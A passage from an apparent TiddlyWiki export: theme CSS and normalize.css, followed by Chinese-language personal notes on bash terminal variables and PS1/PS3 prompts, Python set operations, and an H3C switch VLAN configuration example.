4px;\n}\n\n.tc-plugin-info-disabled {\n\tbackground: -webkit-repeating-linear-gradient(45deg, #ff0, #ff0 10px, #eee 10px, #eee 20px);\n\tbackground: repeating-linear-gradient(45deg, #ff0, #ff0 10px, #eee 10px, #eee 20px);\n}\n\n.tc-plugin-info-disabled:hover {\n\tbackground: -webkit-repeating-linear-gradient(45deg, #aa0, #aa0 10px, #888 10px, #888 20px);\n\tbackground: repeating-linear-gradient(45deg, #aa0, #aa0 10px, #888 10px, #888 20px);\n}\n\na.tc-tiddlylink.tc-plugin-info:hover {\n\ttext-decoration: none;\n\tbackground-color: <<colour primary>>;\n\tcolor: <<colour background>>;\n\tfill: <<colour foreground>>;\n}\n\na.tc-tiddlylink.tc-plugin-info:hover .tc-plugin-info > .tc-plugin-info-chunk > svg {\n\tfill: <<colour foreground>>;\n}\n\n.tc-plugin-info-chunk {\n\tdisplay: inline-block;\n\tvertical-align: middle;\n}\n\n.tc-plugin-info-chunk h1 {\n\tfont-size: 1em;\n\tmargin: 2px 0 2px 0;\n}\n\n.tc-plugin-info-chunk h2 {\n\tfont-size: 0.8em;\n\tmargin: 2px 0 2px 0;\n}\n\n.tc-plugin-info-chunk div {\n\tfont-size: 0.7em;\n\tmargin: 2px 0 2px 0;\n}\n\n.tc-plugin-info:hover > .tc-plugin-info-chunk > img, .tc-plugin-info:hover > .tc-plugin-info-chunk > svg {\n\twidth: 2em;\n\theight: 2em;\n\tfill: <<colour foreground>>;\n}\n\n.tc-plugin-info > .tc-plugin-info-chunk > img, .tc-plugin-info > .tc-plugin-info-chunk > svg {\n\twidth: 2em;\n\theight: 2em;\n\tfill: <<colour muted-foreground>>;\n}\n\n.tc-plugin-info.tc-small-icon > .tc-plugin-info-chunk > img, .tc-plugin-info.tc-small-icon > .tc-plugin-info-chunk > svg {\n\twidth: 1em;\n\theight: 1em;\n}\n\n.tc-plugin-info-dropdown {\n\tborder: 1px solid <<colour muted-foreground>>;\n\tmargin-top: -8px;\n}\n\n.tc-plugin-info-dropdown-message {\n\tbackground: <<colour message-background>>;\n\tpadding: 0.5em 1em 0.5em 1em;\n\tfont-weight: bold;\n\tfont-size: 0.8em;\n}\n\n.tc-plugin-info-dropdown-body {\n\tpadding: 1em 1em 1em 1em;\n}\n\n.tc-check-list {\n\tline-height: 2em;\n}\n\n.tc-check-list .tc-image-button {\n\theight: 1.5em;\n}\n\n/*\n** Message boxes\n*/\n\n.tc-message-box {\n\tborder: 1px solid <<colour message-border>>;\n\tbackground: <<colour message-background>>;\n\tpadding: 0px 21px 0px 21px;\n\tfont-size: 12px;\n\tline-height: 18px;\n\tcolor: <<colour message-foreground>>;\n}\n\n.tc-message-box svg {\n\twidth: 1em;\n\theight: 1em;\n    vertical-align: text-bottom;\n}\n\n/*\n** Pictures\n*/\n\n.tc-bordered-image {\n\tborder: 1px solid <<colour muted-foreground>>;\n\tpadding: 5px;\n\tmargin: 5px;\n}\n\n/*\n** Floats\n*/\n\n.tc-float-right {\n\tfloat: right;\n}\n\n/*\n** Chooser\n*/\n\n.tc-chooser {\n\tborder-right: 1px solid <<colour table-header-background>>;\n\tborder-left: 1px solid <<colour table-header-background>>;\n}\n\n\n.tc-chooser-item {\n\tborder-bottom: 1px solid <<colour table-header-background>>;\n\tborder-top: 1px solid <<colour table-header-background>>;\n\tpadding: 2px 4px 2px 14px;\n}\n\n.tc-drop-down .tc-chooser-item {\n\tpadding: 2px;\n}\n\n.tc-chosen,\n.tc-chooser-item:hover {\n\tbackground-color: <<colour table-header-background>>;\n\tborder-color: <<colour table-footer-background>>;\n}\n\n.tc-chosen .tc-tiddlylink {\n\tcursor:default;\n}\n\n.tc-chooser-item .tc-tiddlylink {\n\tdisplay: block;\n\ttext-decoration: none;\n\tbackground-color: transparent;\n}\n\n.tc-chooser-item:hover .tc-tiddlylink:hover {\n\ttext-decoration: none;\n}\n\n.tc-drop-down .tc-chosen .tc-tiddlylink,\n.tc-drop-down .tc-chooser-item .tc-tiddlylink:hover {\n\tcolor: <<colour foreground>>;\n}\n\n.tc-chosen > .tc-tiddlylink:before {\n\tmargin-left: -10px;\n\tposition: relative;\n\tcontent: \"» \";\n}\n\n.tc-chooser-item svg,\n.tc-chooser-item img{\n\twidth: 1em;\n\theight: 1em;\n\tvertical-align: middle;\n}\n\n.tc-language-chooser .tc-image-button img {\n\twidth: 2em;\n\tvertical-align: -0.15em;\n}\n\n/*\n** Palette swatches\n*/\n\n.tc-swatches-horiz {\n}\n\n.tc-swatches-horiz .tc-swatch {\n\tdisplay: inline-block;\n}\n\n.tc-swatch {\n\twidth: 2em;\n\theight: 2em;\n\tmargin: 0.4em;\n\tborder: 1px solid #888;\n}\n\n/*\n** Table of contents\n*/\n\n.tc-sidebar-lists .tc-table-of-contents {\n\twhite-space: nowrap;\n}\n\n.tc-table-of-contents button {\n\tcolor: <<colour sidebar-foreground>>;\n}\n\n.tc-table-of-contents svg {\n\twidth: 0.7em;\n\theight: 0.7em;\n\tvertical-align: middle;\n\tfill: <<colour sidebar-foreground>>;\n}\n\n.tc-table-of-contents ol {\n\tlist-style-type: none;\n\tpadding-left: 0;\n}\n\n.tc-table-of-contents ol ol {\n\tpadding-left: 1em;\n}\n\n.tc-table-of-contents li {\n\tfont-size: 1.0em;\n\tfont-weight: bold;\n}\n\n.tc-table-of-contents li a {\n\tfont-weight: bold;\n}\n\n.tc-table-of-contents li li {\n\tfont-size: 0.95em;\n\tfont-weight: normal;\n\tline-height: 1.4;\n}\n\n.tc-table-of-contents li li a {\n\tfont-weight: normal;\n}\n\n.tc-table-of-contents li li li {\n\tfont-size: 0.95em;\n\tfont-weight: 200;\n\tline-height: 1.5;\n}\n\n.tc-table-of-contents li li li li {\n\tfont-size: 0.95em;\n\tfont-weight: 200;\n}\n\n.tc-tabbed-table-of-contents {\n\tdisplay: -webkit-flex;\n\tdisplay: flex;\n}\n\n.tc-tabbed-table-of-contents .tc-table-of-contents {\n\tz-index: 100;\n\tdisplay: inline-block;\n\tpadding-left: 1em;\n\tmax-width: 50%;\n\t-webkit-flex: 0 0 auto;\n\tflex: 0 0 auto;\n\tbackground: <<colour tab-background>>;\n\tborder-left: 1px solid <<colour tab-border>>;\n\tborder-top: 1px solid <<colour tab-border>>;\n\tborder-bottom: 1px solid <<colour tab-border>>;\n}\n\n.tc-tabbed-table-of-contents .tc-table-of-contents .toc-item > a,\n.tc-tabbed-table-of-contents .tc-table-of-contents .toc-item-selected > a {\n\tdisplay: block;\n\tpadding: 0.12em 1em 0.12em 0.25em;\n}\n\n.tc-tabbed-table-of-contents .tc-table-of-contents .toc-item > a {\n\tborder-top: 1px solid <<colour tab-background>>;\n\tborder-left: 1px solid <<colour tab-background>>;\n\tborder-bottom: 1px solid <<colour tab-background>>;\n}\n\n.tc-tabbed-table-of-contents .tc-table-of-contents .toc-item > a:hover {\n\ttext-decoration: none;\n\tborder-top: 1px solid <<colour tab-border>>;\n\tborder-left: 1px solid <<colour tab-border>>;\n\tborder-bottom: 1px solid <<colour tab-border>>;\n\tbackground: <<colour tab-border>>;\n}\n\n.tc-tabbed-table-of-contents .tc-table-of-contents .toc-item-selected > a {\n\tborder-top: 1px solid <<colour tab-border>>;\n\tborder-left: 1px solid <<colour tab-border>>;\n\tborder-bottom: 1px solid <<colour tab-border>>;\n\tbackground: <<colour background>>;\n\tmargin-right: -1px;\n}\n\n.tc-tabbed-table-of-contents .tc-table-of-contents .toc-item-selected > a:hover {\n\ttext-decoration: none;\n}\n\n.tc-tabbed-table-of-contents .tc-tabbed-table-of-contents-content {\n\tdisplay: inline-block;\n\tvertical-align: top;\n\tpadding-left: 1.5em;\n\tpadding-right: 1.5em;\n\tborder: 1px solid <<colour tab-border>>;\n\t-webkit-flex: 1 0 50%;\n\tflex: 1 0 50%;\n}\n\n/*\n** Dirty indicator\n*/\n\nbody.tc-dirty span.tc-dirty-indicator, body.tc-dirty span.tc-dirty-indicator svg {\n\tfill: <<colour dirty-indicator>>;\n\tcolor: <<colour dirty-indicator>>;\n}\n\n/*\n** File inputs\n*/\n\n.tc-file-input-wrapper {\n\tposition: relative;\n\toverflow: hidden;\n\tdisplay: inline-block;\n\tvertical-align: middle;\n}\n\n.tc-file-input-wrapper input[type=file] {\n\tposition: absolute;\n\ttop: 0;\n\tleft: 0;\n\tright: 0;\n\tbottom: 0;\n\tfont-size: 999px;\n\tmax-width: 100%;\n\tmax-height: 100%;\n\tfilter: alpha(opacity=0);\n\topacity: 0;\n\toutline: none;\n\tbackground: white;\n\tcursor: pointer;\n\tdisplay: inline-block;\n}\n\n/*\n** Thumbnail macros\n*/\n\n.tc-thumbnail-wrapper {\n\tposition: relative;\n\tdisplay: inline-block;\n\tmargin: 6px;\n\tvertical-align: top;\n}\n\n.tc-thumbnail-right-wrapper {\n\tfloat:right;\n\tmargin: 0.5em 0 0.5em 0.5em;\n}\n\n.tc-thumbnail-image {\n\ttext-align: center;\n\toverflow: hidden;\n\tborder-radius: 3px;\n}\n\n.tc-thumbnail-image svg,\n.tc-thumbnail-image img {\n\tfilter: alpha(opacity=1);\n\topacity: 1;\n\tmin-width: 100%;\n\tmin-height: 100%;\n\tmax-width: 100%;\n}\n\n.tc-thumbnail-wrapper:hover .tc-thumbnail-image svg,\n.tc-thumbnail-wrapper:hover .tc-thumbnail-image img {\n\tfilter: alpha(opacity=0.8);\n\topacity: 0.8;\n}\n\n.tc-thumbnail-background {\n\tposition: absolute;\n\tborder-radius: 3px;\n}\n\n.tc-thumbnail-icon svg,\n.tc-thumbnail-icon img {\n\twidth: 3em;\n\theight: 3em;\n\t<<filter \"drop-shadow(2px 2px 4px rgba(0,0,0,0.3))\">>\n}\n\n.tc-thumbnail-wrapper:hover .tc-thumbnail-icon svg,\n.tc-thumbnail-wrapper:hover .tc-thumbnail-icon img {\n\tfill: #fff;\n\t<<filter \"drop-shadow(3px 3px 4px rgba(0,0,0,0.6))\">>\n}\n\n.tc-thumbnail-icon {\n\tposition: absolute;\n\ttop: 0;\n\tleft: 0;\n\tright: 0;\n\tbottom: 0;\n\tdisplay: -webkit-flex;\n\t-webkit-align-items: center;\n\t-webkit-justify-content: center;\n\tdisplay: flex;\n\talign-items: center;\n\tjustify-content: center;\n}\n\n.tc-thumbnail-caption {\n\tposition: absolute;\n\tbackground-color: #777;\n\tcolor: #fff;\n\ttext-align: center;\n\tbottom: 0;\n\twidth: 100%;\n\tfilter: alpha(opacity=0.9);\n\topacity: 0.9;\n\tline-height: 1.4;\n\tborder-bottom-left-radius: 3px;\n\tborder-bottom-right-radius: 3px;\n}\n\n.tc-thumbnail-wrapper:hover .tc-thumbnail-caption {\n\tfilter: alpha(opacity=1);\n\topacity: 1;\n}\n\n/*\n** Diffs\n*/\n\n.tc-diff-equal {\n\tbackground-color: <<colour diff-equal-background>>;\n\tcolor: <<colour diff-equal-foreground>>;\n}\n\n.tc-diff-insert {\n\tbackground-color: <<colour diff-insert-background>>;\n\tcolor: <<colour diff-insert-foreground>>;\n}\n\n.tc-diff-delete {\n\tbackground-color: <<colour diff-delete-background>>;\n\tcolor: <<colour diff-delete-foreground>>;\n}\n\n.tc-diff-invisible {\n\tbackground-color: <<colour diff-invisible-background>>;\n\tcolor: <<colour diff-invisible-foreground>>;\n}\n\n.tc-diff-tiddlers th {\n\ttext-align: right;\n\tbackground: <<colour background>>;\n\tfont-weight: normal;\n\tfont-style: italic;\n}\n\n.tc-diff-tiddlers pre {\n    margin: 0;\n    padding: 0;\n    border: none;\n    background: none;\n}\n\n/*\n** Errors\n*/\n\n.tc-error {\n\tbackground: #f00;\n\tcolor: #fff;\n}\n\n/*\n** Tree macro\n*/\n\n.tc-tree div {\n    \tpadding-left: 14px;\n}\n\n.tc-tree ol {\n    \tlist-style-type: none;\n    \tpadding-left: 0;\n    \tmargin-top: 0;\n}\n\n.tc-tree ol ol {\n    \tpadding-left: 1em;    \n}\n\n.tc-tree button { \n    \tcolor: #acacac;\n}\n\n.tc-tree svg {\n     \tfill: #acacac;\n}\n\n.tc-tree span svg {\n    \twidth: 1em;\n    \theight: 1em;\n    \tvertical-align: baseline;\n}\n\n.tc-tree li span {\n    \tcolor: lightgray;\n}\n\nselect {\n        color: <<colour select-tag-foreground>>;\n        background: <<colour select-tag-background>>;\n}\n\n"
        },
        "$:/themes/tiddlywiki/vanilla/metrics/bodyfontsize": {
            "title": "$:/themes/tiddlywiki/vanilla/metrics/bodyfontsize",
            "text": "15px"
        },
        "$:/themes/tiddlywiki/vanilla/metrics/bodylineheight": {
            "title": "$:/themes/tiddlywiki/vanilla/metrics/bodylineheight",
            "text": "22px"
        },
        "$:/themes/tiddlywiki/vanilla/metrics/fontsize": {
            "title": "$:/themes/tiddlywiki/vanilla/metrics/fontsize",
            "text": "14px"
        },
        "$:/themes/tiddlywiki/vanilla/metrics/lineheight": {
            "title": "$:/themes/tiddlywiki/vanilla/metrics/lineheight",
            "text": "20px"
        },
        "$:/themes/tiddlywiki/vanilla/metrics/storyleft": {
            "title": "$:/themes/tiddlywiki/vanilla/metrics/storyleft",
            "text": "0px"
        },
        "$:/themes/tiddlywiki/vanilla/metrics/storytop": {
            "title": "$:/themes/tiddlywiki/vanilla/metrics/storytop",
            "text": "0px"
        },
        "$:/themes/tiddlywiki/vanilla/metrics/storyright": {
            "title": "$:/themes/tiddlywiki/vanilla/metrics/storyright",
            "text": "770px"
        },
        "$:/themes/tiddlywiki/vanilla/metrics/storywidth": {
            "title": "$:/themes/tiddlywiki/vanilla/metrics/storywidth",
            "text": "770px"
        },
        "$:/themes/tiddlywiki/vanilla/metrics/tiddlerwidth": {
            "title": "$:/themes/tiddlywiki/vanilla/metrics/tiddlerwidth",
            "text": "686px"
        },
        "$:/themes/tiddlywiki/vanilla/metrics/sidebarbreakpoint": {
            "title": "$:/themes/tiddlywiki/vanilla/metrics/sidebarbreakpoint",
            "text": "960px"
        },
        "$:/themes/tiddlywiki/vanilla/metrics/sidebarwidth": {
            "title": "$:/themes/tiddlywiki/vanilla/metrics/sidebarwidth",
            "text": "350px"
        },
        "$:/themes/tiddlywiki/vanilla/options/stickytitles": {
            "title": "$:/themes/tiddlywiki/vanilla/options/stickytitles",
            "text": "no"
        },
        "$:/themes/tiddlywiki/vanilla/options/sidebarlayout": {
            "title": "$:/themes/tiddlywiki/vanilla/options/sidebarlayout",
            "text": "fixed-fluid"
        },
        "$:/themes/tiddlywiki/vanilla/options/codewrapping": {
            "title": "$:/themes/tiddlywiki/vanilla/options/codewrapping",
            "text": "pre-wrap"
        },
        "$:/themes/tiddlywiki/vanilla/reset": {
            "title": "$:/themes/tiddlywiki/vanilla/reset",
            "type": "text/plain",
            "text": "/*! normalize.css v3.0.0 | MIT License | git.io/normalize */\n\n/**\n * 1. Set default font family to sans-serif.\n * 2. Prevent iOS text size adjust after orientation change, without disabling\n *    user zoom.\n */\n\nhtml {\n  font-family: sans-serif; /* 1 */\n  -ms-text-size-adjust: 100%; /* 2 */\n  -webkit-text-size-adjust: 100%; /* 2 */\n}\n\n/**\n * Remove default margin.\n */\n\nbody {\n  margin: 0;\n}\n\n/* HTML5 display definitions\n   ========================================================================== */\n\n/**\n * Correct `block` display not defined in IE 8/9.\n */\n\narticle,\naside,\ndetails,\nfigcaption,\nfigure,\nfooter,\nheader,\nhgroup,\nmain,\nnav,\nsection,\nsummary {\n  display: block;\n}\n\n/**\n * 1. Correct `inline-block` display not defined in IE 8/9.\n * 2. Normalize vertical alignment of `progress` in Chrome, Firefox, and Opera.\n */\n\naudio,\ncanvas,\nprogress,\nvideo {\n  display: inline-block; /* 1 */\n  vertical-align: baseline; /* 2 */\n}\n\n/**\n * Prevent modern browsers from displaying `audio` without controls.\n * Remove excess height in iOS 5 devices.\n */\n\naudio:not([controls]) {\n  display: none;\n  height: 0;\n}\n\n/**\n * Address `[hidden]` styling not present in IE 8/9.\n * Hide the `template` element in IE, Safari, and Firefox < 22.\n */\n\n[hidden],\ntemplate {\n  display: none;\n}\n\n/* Links\n   ========================================================================== */\n\n/**\n * Remove the gray background color from active links in IE 10.\n */\n\na {\n  background: transparent;\n}\n\n/**\n * Improve readability when focused and also mouse hovered in all browsers.\n */\n\na:active,\na:hover {\n  outline: 0;\n}\n\n/* Text-level semantics\n   ========================================================================== */\n\n/**\n * Address styling not present in IE 8/9, Safari 5, and Chrome.\n */\n\nabbr[title] {\n  border-bottom: 1px dotted;\n}\n\n/**\n * Address style set to `bolder` in Firefox 4+, Safari 5, and Chrome.\n */\n\nb,\nstrong {\n  font-weight: bold;\n}\n\n/**\n * Address styling not present in Safari 5 and Chrome.\n */\n\ndfn {\n  font-style: italic;\n}\n\n/**\n * Address variable `h1` font-size and margin within `section` and `article`\n * contexts in Firefox 4+, Safari 5, and Chrome.\n */\n\nh1 {\n  font-size: 2em;\n  margin: 0.67em 0;\n}\n\n/**\n * Address styling not present in IE 8/9.\n */\n\nmark {\n  background: #ff0;\n  color: #000;\n}\n\n/**\n * Address inconsistent and variable font size in all browsers.\n */\n\nsmall {\n  font-size: 80%;\n}\n\n/**\n * Prevent `sub` and `sup` affecting `line-height` in all browsers.\n */\n\nsub,\nsup {\n  font-size: 75%;\n  line-height: 0;\n  position: relative;\n  vertical-align: baseline;\n}\n\nsup {\n  top: -0.5em;\n}\n\nsub {\n  bottom: -0.25em;\n}\n\n/* Embedded content\n   ========================================================================== */\n\n/**\n * Remove border when inside `a` element in IE 8/9.\n */\n\nimg {\n  border: 0;\n}\n\n/**\n * Correct overflow displayed oddly in IE 9.\n */\n\nsvg:not(:root) {\n  overflow: hidden;\n}\n\n/* Grouping content\n   ========================================================================== */\n\n/**\n * Address margin not present in IE 8/9 and Safari 5.\n */\n\nfigure {\n  margin: 1em 40px;\n}\n\n/**\n * Address differences between Firefox and other browsers.\n */\n\nhr {\n  -moz-box-sizing: content-box;\n  box-sizing: content-box;\n  height: 0;\n}\n\n/**\n * Contain overflow in all browsers.\n */\n\npre {\n  overflow: auto;\n}\n\n/**\n * Address odd `em`-unit font size rendering in all browsers.\n */\n\ncode,\nkbd,\npre,\nsamp {\n  font-family: monospace, monospace;\n  font-size: 1em;\n}\n\n/* Forms\n   ========================================================================== */\n\n/**\n * Known limitation: by default, Chrome and Safari on OS X allow very limited\n * styling of `select`, unless a `border` property is set.\n */\n\n/**\n * 1. Correct color not being inherited.\n *    Known issue: affects color of disabled elements.\n * 2. Correct font properties not being inherited.\n * 3. Address margins set differently in Firefox 4+, Safari 5, and Chrome.\n */\n\nbutton,\ninput,\noptgroup,\nselect,\ntextarea {\n  color: inherit; /* 1 */\n  font: inherit; /* 2 */\n  margin: 0; /* 3 */\n}\n\n/**\n * Address `overflow` set to `hidden` in IE 8/9/10.\n */\n\nbutton {\n  overflow: visible;\n}\n\n/**\n * Address inconsistent `text-transform` inheritance for `button` and `select`.\n * All other form control elements do not inherit `text-transform` values.\n * Correct `button` style inheritance in Firefox, IE 8+, and Opera\n * Correct `select` style inheritance in Firefox.\n */\n\nbutton,\nselect {\n  text-transform: none;\n}\n\n/**\n * 1. Avoid the WebKit bug in Android 4.0.* where (2) destroys native `audio`\n *    and `video` controls.\n * 2. Correct inability to style clickable `input` types in iOS.\n * 3. Improve usability and consistency of cursor style between image-type\n *    `input` and others.\n */\n\nbutton,\nhtml input[type=\"button\"], /* 1 */\ninput[type=\"reset\"],\ninput[type=\"submit\"] {\n  -webkit-appearance: button; /* 2 */\n  cursor: pointer; /* 3 */\n}\n\n/**\n * Re-set default cursor for disabled elements.\n */\n\nbutton[disabled],\nhtml input[disabled] {\n  cursor: default;\n}\n\n/**\n * Remove inner padding and border in Firefox 4+.\n */\n\nbutton::-moz-focus-inner,\ninput::-moz-focus-inner {\n  border: 0;\n  padding: 0;\n}\n\n/**\n * Address Firefox 4+ setting `line-height` on `input` using `!important` in\n * the UA stylesheet.\n */\n\ninput {\n  line-height: normal;\n}\n\n/**\n * It's recommended that you don't attempt to style these elements.\n * Firefox's implementation doesn't respect box-sizing, padding, or width.\n *\n * 1. Address box sizing set to `content-box` in IE 8/9/10.\n * 2. Remove excess padding in IE 8/9/10.\n */\n\ninput[type=\"checkbox\"],\ninput[type=\"radio\"] {\n  box-sizing: border-box; /* 1 */\n  padding: 0; /* 2 */\n}\n\n/**\n * Fix the cursor style for Chrome's increment/decrement buttons. For certain\n * `font-size` values of the `input`, it causes the cursor style of the\n * decrement button to change from `default` to `text`.\n */\n\ninput[type=\"number\"]::-webkit-inner-spin-button,\ninput[type=\"number\"]::-webkit-outer-spin-button {\n  height: auto;\n}\n\n/**\n * 1. Address `appearance` set to `searchfield` in Safari 5 and Chrome.\n * 2. Address `box-sizing` set to `border-box` in Safari 5 and Chrome\n *    (include `-moz` to future-proof).\n */\n\ninput[type=\"search\"] {\n  -webkit-appearance: textfield; /* 1 */\n  -moz-box-sizing: content-box;\n  -webkit-box-sizing: content-box; /* 2 */\n  box-sizing: content-box;\n}\n\n/**\n * Remove inner padding and search cancel button in Safari and Chrome on OS X.\n * Safari (but not Chrome) clips the cancel button when the search input has\n * padding (and `textfield` appearance).\n */\n\ninput[type=\"search\"]::-webkit-search-cancel-button,\ninput[type=\"search\"]::-webkit-search-decoration {\n  -webkit-appearance: none;\n}\n\n/**\n * Define consistent border, margin, and padding.\n */\n\nfieldset {\n  border: 1px solid #c0c0c0;\n  margin: 0 2px;\n  padding: 0.35em 0.625em 0.75em;\n}\n\n/**\n * 1. Correct `color` not being inherited in IE 8/9.\n * 2. Remove padding so people aren't caught out if they zero out fieldsets.\n */\n\nlegend {\n  border: 0; /* 1 */\n  padding: 0; /* 2 */\n}\n\n/**\n * Remove default vertical scrollbar in IE 8/9.\n */\n\ntextarea {\n  overflow: auto;\n}\n\n/**\n * Don't inherit the `font-weight` (applied by a rule above).\n * NOTE: the default cannot safely be changed in Chrome and Safari on OS X.\n */\n\noptgroup {\n  font-weight: bold;\n}\n\n/* Tables\n   ========================================================================== */\n\n/**\n * Remove most spacing between table cells.\n */\n\ntable {\n  border-collapse: collapse;\n  border-spacing: 0;\n}\n\ntd,\nth {\n  padding: 0;\n}\n"
        },
        "$:/themes/tiddlywiki/vanilla/settings/fontfamily": {
            "title": "$:/themes/tiddlywiki/vanilla/settings/fontfamily",
            "text": "-apple-system, BlinkMacSystemFont, \"Segoe UI\", Helvetica, Arial, sans-serif, \"Apple Color Emoji\", \"Segoe UI Emoji\", \"Segoe UI Symbol\""
        },
        "$:/themes/tiddlywiki/vanilla/settings/codefontfamily": {
            "title": "$:/themes/tiddlywiki/vanilla/settings/codefontfamily",
            "text": "\"SFMono-Regular\",Consolas,\"Liberation Mono\",Menlo,Courier,monospace"
        },
        "$:/themes/tiddlywiki/vanilla/settings/backgroundimageattachment": {
            "title": "$:/themes/tiddlywiki/vanilla/settings/backgroundimageattachment",
            "text": "fixed"
        },
        "$:/themes/tiddlywiki/vanilla/settings/backgroundimagesize": {
            "title": "$:/themes/tiddlywiki/vanilla/settings/backgroundimagesize",
            "text": "auto"
        },
        "$:/themes/tiddlywiki/vanilla/sticky": {
            "title": "$:/themes/tiddlywiki/vanilla/sticky",
            "text": "<$reveal state=\"$:/themes/tiddlywiki/vanilla/options/stickytitles\" type=\"match\" text=\"yes\">\n``\n.tc-tiddler-title {\n\tposition: -webkit-sticky;\n\tposition: -moz-sticky;\n\tposition: -o-sticky;\n\tposition: -ms-sticky;\n\tposition: sticky;\n\ttop: 0px;\n\tbackground: ``<<colour tiddler-background>>``;\n\tz-index: 500;\n}\n``\n</$reveal>\n"
        }
    }
}
fluid-fixed
classic
;desc
:当前终端宽度


```bash
#打印屏幕宽度
echo $COLUMNS

#设置默认值
echo ${COLUMNS:-24}
```
;desc
:当前屏幕高度

```bash
#打印当天终端高度
echo $LINES

#设置默认值
echo ${LINES:-12}
```
```bash
echo PS1=.... >> /etc/profile.d/ps1.sh
```


```
我们可以通过设置PS1变量使提示符成为彩色。在PS1中设置字符序列颜色的格式为:
\[\e[F;Bm\]
其中``F''为字体颜色,编号30~37;``B''为背景色,编号40~47。
可通过``\e[0m''关闭颜色输出;特别的,当B为1时,将显示加亮加粗的文字,详细请看下面的颜色表与代码表。

颜色表

前景 背景 颜色
---------------------------------------
30 40 黑色
31 41 红色
32 42 绿色
33 43 黃色
34 44 蓝色
35 45 紫紅色
36 46 青蓝色
37 47 白色

 

代码 意义
-------------------------
0 OFF
1 高亮显示
4 underline
5 闪烁
7 反白显示
8 不可见


默认的特殊符号所代表的意义:

\d :代表日期,格式为weekday month date,例如:"Mon Aug1"

\H:完整的主机名称。例如:我的机器名称为:fc4.linux,则这个名称就是fc4.linux

\h :仅取主机的第一个名字,如上例,则为fc4,.linux则被省略 

\t :显示时间为24小时格式,如:HH:MM:SS 

\T :显示时间为12小时格式 

\A :显示时间为24小时格式:HH:MM 

\u :当前用户的账号名称

\v :BASH的版本信息

\w :完整的工作目录名称。家目录会以 ~代替

\W :利用basename取得工作目录名称,所以只会列出最后一个目录

\# :下达的第几个命令

\$ :提示字符,如果是root时,提示符为:# ,普通用户则为:$
```
```bash
#多行命令提示符

```
;Shell脚本中使用select时的提示符


```bash
ramesh@dev-db ~> cat ps3.sh
PS3="Select a day (1-4): "
select i in mon tue wed exit
do
    case $i in
        mon) echo "Monday";;
        tue) echo "Tuesday";;
        wed) echo "Wednesday";;
        exit) exit;;
    esac
done

ramesh@dev-db ~> ./ps3.sh
1) mon
2) tue
3) wed
4) exit
Select a day (1-4): 1
Monday
Select a day (1-4): 4
```
''set -x''用来修改跟踪输出的前缀

{{select}}
# 二进制
   ## [[shell进制转换]]
服务器
1U=44.45mm=1.75"
宽19"=48.26

# 机架标准
* 主频=外频*倍频
* 地址总线宽度=2**64
* 4路服务器
* 内存带宽计算
* 硬盘 7200rpm 每分钟
* DESC

** python的set和其他语言类似, 是一个无序不重复元素集, 基本功能包括关系测试和消除重复元素. 集合对象还支持union(联合), intersection(交), difference(差)和sysmmetric difference(对称差集)等数学运算.

** sets 支持 key in set, len(set), 和 for key in set. 作为一个无序的集合, sets不记录元素位置或者插入点. 因此, sets不支持 indexing(通过下标访问), slicing(切片), sort(也不会自动排序) 或其它类似列表的操作。

* 简单的常用炒作<pre>


```python
s.add(key)
s.update([key1,key2,...])
#添加一项或者多项

t.remove(key)  
#删除key这一项

len(s)  
#返回 set 的长度  

x in s  
#测试 x 是否是 s 的成员 (return T/F)

x not in s  
#测试 x 是否不是 s 的成员 (return T/F)

s.issubset(t)  
#测试s是不是t的子集 (return T/F)

s.issuperset(t) (return T/F)
#测试t是不是s的子集

s.union(t)    
#返回一个新的 set = s与t的并集  

s.intersection(t)  
#返回一个新的 set = s与t的交集  

s.difference(t)  
#返回一个新的 set 包含 s 中有但是 t 中没有的元素  

s.symmetric_difference(t)  
#返回一个新的 set 包含 s 和 t 中不重复的元素  

s.pop()   
#删除并且返回 s 中的一个的元素 

s.clear()  
#清空 s 中的元素

s = set([5,-1,7])
#排序的方法
l = list(s)
l.sort()
print l
#[-1, 5, 7]

l = [1,5,2,2,-1]
#去重的方法
s = set(l)
print s
#set([1, 2, 5, -1])
```
</pre>
* By the way<pre>

```python
List = [([0] * 3) for i in range(4)]  
#初始化为0,三行四列的二维数组
#然后可以使用append和下标访问了
```
</pre>
!!1.10  基于端口的VLAN典型配置举例
;1. 组网需求
      :Host A和Host C属于部门A,但是通过不同的设备接入公司网络;Host B和Host D属于部门B,也通过不同的设备接入公司网络。

      :为了通信的安全性,也为了避免广播报文泛滥,公司网络中使用VLAN技术来隔离部门间的二层流量。其中部门A使用VLAN 100,部门B使用VLAN 200。

      :现要求不管是否使用相同的设备接入公司网络,同一VLAN内的主机能够互通,即Host A和Host C能够互通,Host B和Host D能够互通。

;2. 组网图
:图1-4 基于端口的VLAN组网图

:[img[http://www.h3c.com/cn/res/201804/09/20180409_3456462_image008_1075921_30005_0.png]]

 

;3. 配置步骤
:(1)     配置Device A<pre>

```
# 创建VLAN 100,并将GigabitEthernet1/0/1加入VLAN 100。

<DeviceA> system-view

[DeviceA] vlan 100

[DeviceA-vlan100] port gigabitethernet 1/0/1

[DeviceA-vlan100] quit

# 创建VLAN 200,并将GigabitEthernet1/0/2加入VLAN 200。

[DeviceA] vlan 200

[DeviceA-vlan200] port gigabitethernet 1/0/2

[DeviceA-vlan200] quit

# 为了使Device A上VLAN 100和VLAN 200的报文能发送给Device B,将GigabitEthernet1/0/3的链路类型配置为Trunk,并允许VLAN 100和VLAN 200的报文通过。

[DeviceA] interface gigabitethernet 1/0/3

[DeviceA-GigabitEthernet1/0/3] port link-type trunk

[DeviceA-GigabitEthernet1/0/3] port trunk permit vlan 100 200
```

</pre>
:(2)     Device B上的配置与Device A上的配置相同,不再赘述。

:(3)     将Host A和Host C配置在一个网段,比如192.168.100.0/24;将Host B和Host D配置在一个网段,比如192.168.200.0/24。

;4. 验证配置
:(1)     Host A和Host C能够互相ping通,但是均不能ping通Host B。Host B和Host D能够互相ping通,但是均不能ping通Host A。

:(2)     通过查看显示信息验证配置是否成功。<pre>


```
# 查看Device A上VLAN 100和VLAN 200的配置信息,验证以上配置是否生效。

[DeviceA-GigabitEthernet1/0/3] display vlan 100

 VLAN ID: 100

 VLAN type: Static

 Route interface: Not configured

 Description: VLAN 0100

 Name: VLAN 0100

 Tagged ports:

    GigabitEthernet1/0/3

 Untagged ports:

    GigabitEthernet1/0/1

[DeviceA-GigabitEthernet1/0/3] display vlan 200

 VLAN ID: 200

 VLAN type: Static

 Route interface: Not configured

 Description: VLAN 0200

 Name: VLAN 0200

 Tagged ports:

    GigabitEthernet1/0/3

 Untagged ports:

    GigabitEthernet1/0/2
```
</pre>
!NAT典型配置举例
!! 静态一对一地址转换典型配置举例
!!!1. 组网需求
